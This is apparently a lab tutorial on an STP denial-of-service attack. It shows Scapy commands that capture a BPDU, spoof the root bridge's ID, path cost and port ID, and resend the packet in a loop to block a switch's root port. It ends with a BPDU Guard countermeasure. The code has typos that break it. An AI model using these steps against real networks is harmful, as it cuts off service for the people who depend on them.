DoS Attack Using Spanning Tree Protocol

The Spanning Tree Protocol (STP) is a network protocol that builds a loop-free logical topology for Ethernet networks. The basic function of STP is to prevent bridge loops and the broadcast radiation that results from them. Spanning tree also allows a network design to include backup links providing fault tolerance if an active link fails [1].

The goal of this article is to understand the STP root port election logic and create a Python code that will block the connection between two end hosts by influencing the root port selection process.

To do this, we use the Scapy to create malicious STP packets that we send from the Kali Linux system to the switch on which we want to influence the election of the root port

Scapy is a library made in Python, with its own command line interpreter (CLI), which allows to create, modify, send and capture network packets. It can be used interactively through the command line interface or as a library by importing it into Python programs.

1. Network Topology and STP Before Attack

Figure 1 - Network Topology Before Attack

The switch S1 is elected as the root bridge because it has ta lower Bridge ID than S2. The bridge ID consists of 2B bridge priority and 6B MAC address. The priority of both S1 and S2 is 32769 (32769 = 32768 + 1 for VLAN1), so the lower MAC of the S1 s a tie breaker. All the ports on the Root bridge are designated ports.

Figure 2 - Root Bridge S1 with MAC 0c:0e:36:76:00:00

The S1 Root bridge sends Configuration Bridge Protocol Data Units (BPDUs) every 2 seconds to all ports with a root path cost 0 (Figure 3). The root bridge sends BPDUs using a unique source MAC address from its origin port (0c:0e:36:76.00:00) to a well known multicast address with destination MAC 01:80:C2:00:00:00 [2].

Figure 3 - Configuration BPDU Sent from Root Bridge S1 Captured on Link Between S1 and S2

The STP roles of all S2 ports are shown in Figure 4.

Figure 4 - S2 STP Port Role Before STP Attack

Switch S2 sends a configuration BPDU to  multicast STP address 01:80:c2:00:00:00 with the source MAC address 0c:d3:6f:1c:00:02. This is the MAC of the Gi0/2 interface. Switch S2 adds the cost of the gigabit link to the root path cost, so that the cost in the BPDU received by Kali is 4 (Figure 5).

Figure 5 - BPDU Received by Kali with Root Path Cost 4

Notice the Root bridge identifier and bridge identifier are now different. The Gigabit interface Gi0/0 on the S2 is the root port because it has the lowest path cost to the root bridge. The root port is responsible for forwarding data to the root bridge. The Gi0/2 interface is the designated port and also forwards data.

2. STP Attack Against S1 Root Bridge 

Our goal is to break the connection between PC1 and PC2. We can achieve this by changing the STP port role of switch S2 interfaces. If we change the role of Gi0/0 from RP to block, S2 will discard user traffic from S1 to the rest of our network. To do this, we need to convince S2 that there is a loop in the network, so its job is to block its Gi0/0 port to break the loop.

The logic of the attack is quite simple. We will continue to send a configuration BPDU from Kali to S2, with S1 set as the root bridge and the root path cost set to 0. We will also set the Bridge System ID to the Root bridge system ID. As a result, S2 will start thinking it is connected by two links to S1.

Since we have two equal cost paths, we need to know tie breaking rules in this scenario.

1. Lowest Sending Bridge ID
2. Lowest Port Priority (of sender)
3. Lowest Interface number (of sender)

The root path cost and the lowest sending bridge ID are are the same in both BPDU sent from S1 and Kali to S2. The port priority of the senders in both BPDUs are also same, as we did not change the default port priority which is 128 or 0x80. Therefore, also the lowest port priority is not a tie breaker. So, tie breaker here is the lowest interface number.

Note:
The Wireshark capture shown on the Figure 3 displays the port id for Gi0/0 of S1 as 0x8001 which is 32769. The port ID is formed by prepending the 4-bit port priority (the default value of 128, or 0x80) to the interface ID, which happens to be 0x001 because S2 is connected to the first physical switchport of S1. These two values form the complete port ID of 0x8001 [3]

So if we change the port id in BPDU from Kali to 0, S2 interface gi0/2 will become a root port and gi0/0 switch to blocking role (Figure 6).

Figure 6 -  Role of S2 Ports During STP Attack Against Root Bridge S1

3. Creating a malicious BPDU using Scapy

Start pyhon console with  sudo python3 and import scapy module:

>>> from scapy.all import *

Capture one packet on the eth0 Kali interface that was sent from S2 to a known multicast MAC address. We will later change the packet and sen it back to S2.

>>> pkt = sniff(filter="ether dst 01:80:c2:00:00:00", iface="eth0", count=1)

The pkt variable is a list of Scapy packets; we can check it with the type(pkt) command. In other words, pkt is captured traffic that may contain hundreds of packets. Each element of the list is a packet that contains an individual layer. The layers are, for example, 802.3, IP, TCP, HTTP, payload.

Note: We can compare the Scapy packet with the traffic captured by Wireshark. Each line of captured traffic is a packet, and the individual layers of the packet represent the layers of the OSI model.

In our case, the pkt variable contains only one packet. We can check this with the command only(pkt). To select the first element of the pkt list and view the entire content of the packet including all its layers, enter the command:

>>> pkt[0].show()

Figure 7 - Captured Configuration BPDU on Kali

The packet contains four layers - 802.3, LLC, STP and padding. We have highlighted the individual variables that we will modify to create a malicious STP packet.

Change the source MAC to match KALI MAC Ethernet 0.

>>> pkt[0].src = "0c:c0:1e:ee:00:00"

Assign rootmac variable to bridgemac to make S2 to think that root bridge is connected to Gi0/2.

>>> pkt[0].bridgemac = pkt[0].rootmac

Note: The command above can be wriiten as pkt[0][STP].bridgemac  = pkt[0][STP].bridgemac

The root bridge (S1) always sends a path cost set to 0, so we need to change the root path cost from 4 to 0 for the BPDUs that we will send to S2.

>>> pkt[0].pathcost=0

If we now send pkt[0] to S2, S2 will start thinking that the root bridge is connected to Gi0/2. In fact, S2 will think that it is connected to S1 through interfaces Gi0/0 and Gi0/2. As a result, it will put Gi0/2 in a blocking state and the port role of Gi0/2 will be Altn (alternate path to the root bridge) (Figure 8).

Figure 8 - Sending Malicious STP BDPU with Default Port Id in order to convince S2 that Root Bridge is Connected to Gi0/2

As a result, we effectively blocked the connection between S2 and Kali because the Gi0/0 interface on S1 has a lower id. However, this is not the result we want to achieve, so we need to reduce the port id from 32771 to 0 in BDPU sent from Kalit to S2.

>>> pkt[0].portid=0

The malicious STP packet  with changed values is depicted on the Figure 9.

Figure 9 - Resulting Malicious STP BPDU Ready to be Sent from Kali to S2

In the last step, we continue sending the malicious BPDU packet in a loop with a delay of 1 second:

 >>> for i in range(1000):
    sendp(iface="eth0", verbose1, pkt[0])
    time.seep(1)

Finally, port Gi0/0 on switch S2 is in the blocked state and the link between root bridge S1 and bridge S2 is blocked (Figure 10). The port Gi0/2 becomes the new RP.

Figure 10 - S2 Gi0/0 Changed from RP to Altn During STP Attack

3. Python script

Here is my Python script stp_attack_rp.py that automates the sending of a malicious BPDU. The argument to the script is the MAC address of the Kali Linux OS interface. Change the interface name in the script accordingly.

$ sudo python3 ./stp_attack_rp.py 0c:c0:1e:ee:00:00

4. Countermeasures

When we enable BPDU Guard feature on the access-ports, a switch shuts down the port that receives a BPDU.

S2(config)# interface range GigabitEthernet 0/1 - 2
S2(config-if-range)# spanning-tree bpduguard enable

Figure 11 - S2 Interface Gi0/2 in Error-Disabled State When BPDU received on Port

Check all error-disabled interfaces:

S2# show interfaces status

Figure 12 - Error-Disabled Interface Gi0/2

To bring up a port disabled by BDPU guard, stop the script and then restart the port Gi-/2 by entering the shut/no shut command.

S2(config)# interface gigabitEthernet 0/2
S2(config-if)# sh
S2(config-if)# no shutdown

End.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.